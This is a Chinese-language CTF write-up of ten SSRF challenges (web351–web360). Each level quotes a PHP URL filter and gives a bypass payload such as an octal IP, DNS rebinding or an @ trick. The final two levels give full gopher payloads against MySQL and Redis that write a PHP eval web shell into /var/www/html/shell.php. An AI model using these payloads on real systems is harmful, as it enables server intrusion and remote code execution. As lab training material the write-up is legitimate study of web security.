CTFHUB SSRF

目录

web351

​编辑 web352

web353

web354  sudo.cc 代表 127        

web355  host长度

web356

web357 DNS 重定向

 web358 @bypass

web359  mysql ssrf

web360

---

web351

POST查看 flag.php即可

 web352

error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
} 

我们看看 过滤了 localhost 和 127.0.0.1

并且需要存在 http

所以我们传入payload

url=http://0177.0.0.1/flag.php

这里是 八进制的 127

web353

error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
} 

过滤了 127.0.0.1

我们可以通过 0 来绕过

payload

url=http://0/flag.php

web354  sudo.cc 代表 127        

error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
} 

  0 1 127 都被过滤了

这里确实学到了

http://sudo.cc 指向的 就是 127.0.0.1

我们直接使用这个payload

http://sudo.cc/flag.php

web355  host长度

error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
} 

没有过滤 但是 host需要为 小于5

payload

url=http://0/flag.php

 看wp还存在一个解法

http://127.1/flag.php

web356

 
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

长度小于3

这里只能使用

http://0/flag.php

web357 DNS 重定向

我们这里首先会判断 是不是 私有ip

这样 我们之前的数字ip bypass就是失效了

这里我们可以使用DNS 重定向 bypass

rbndr.us dns rebinding service

 这里设置一个不是私有的ip

url=http://7f000001.774bd96d.rbndr.us/flag.php

 web358 @bypass

 
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

这里需要出现 这内容 才会输出

我们来看看

我们通过 @ 来绕过

http://ctf.@127.0.0.1/flag.php?show

这里 @ 后 还是解析为 127.0.0.1 并且结尾是 show

web359  mysql ssrf

首先开局一个登录

我们看看源代码

发现有一个 hidden 元素 这里是被隐藏了 并且值已经设定为 url 了 这里要敏感了 因为 SSRF 就是引用其他url

我们随便写一个抓包看看

发现 POST内容中 传递了 returl值

我们修改为百度看看

确实存在 ssrf

没有找到 flag.php

我们因为通过登入 我们可以想到数据库 那我们直接通过 gopher 攻击mysql即可

我们使用工具

py2 .\gopherus.py --exploit mysql

 将 payload 再进行一次 url编码

gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254f%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2527%2563%256d%2564%2527%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2573%2568%2565%256c%256c%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

然后进行传递

然后通过蚁剑链接即可

web360

找不到 flag.php

我们开始通过 dict 探测端口

url=dict://127.0.0.1:80

 发现开放了 6379端口 这里是 redis的端口 这里很明显就是让我们攻击了

我们一样去 工具实现攻击

gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252431%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2540%2524_POST%255Bcmd%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

总的来说 show的ssrf 还挺简单的 这里学到了 sudo.cc的内容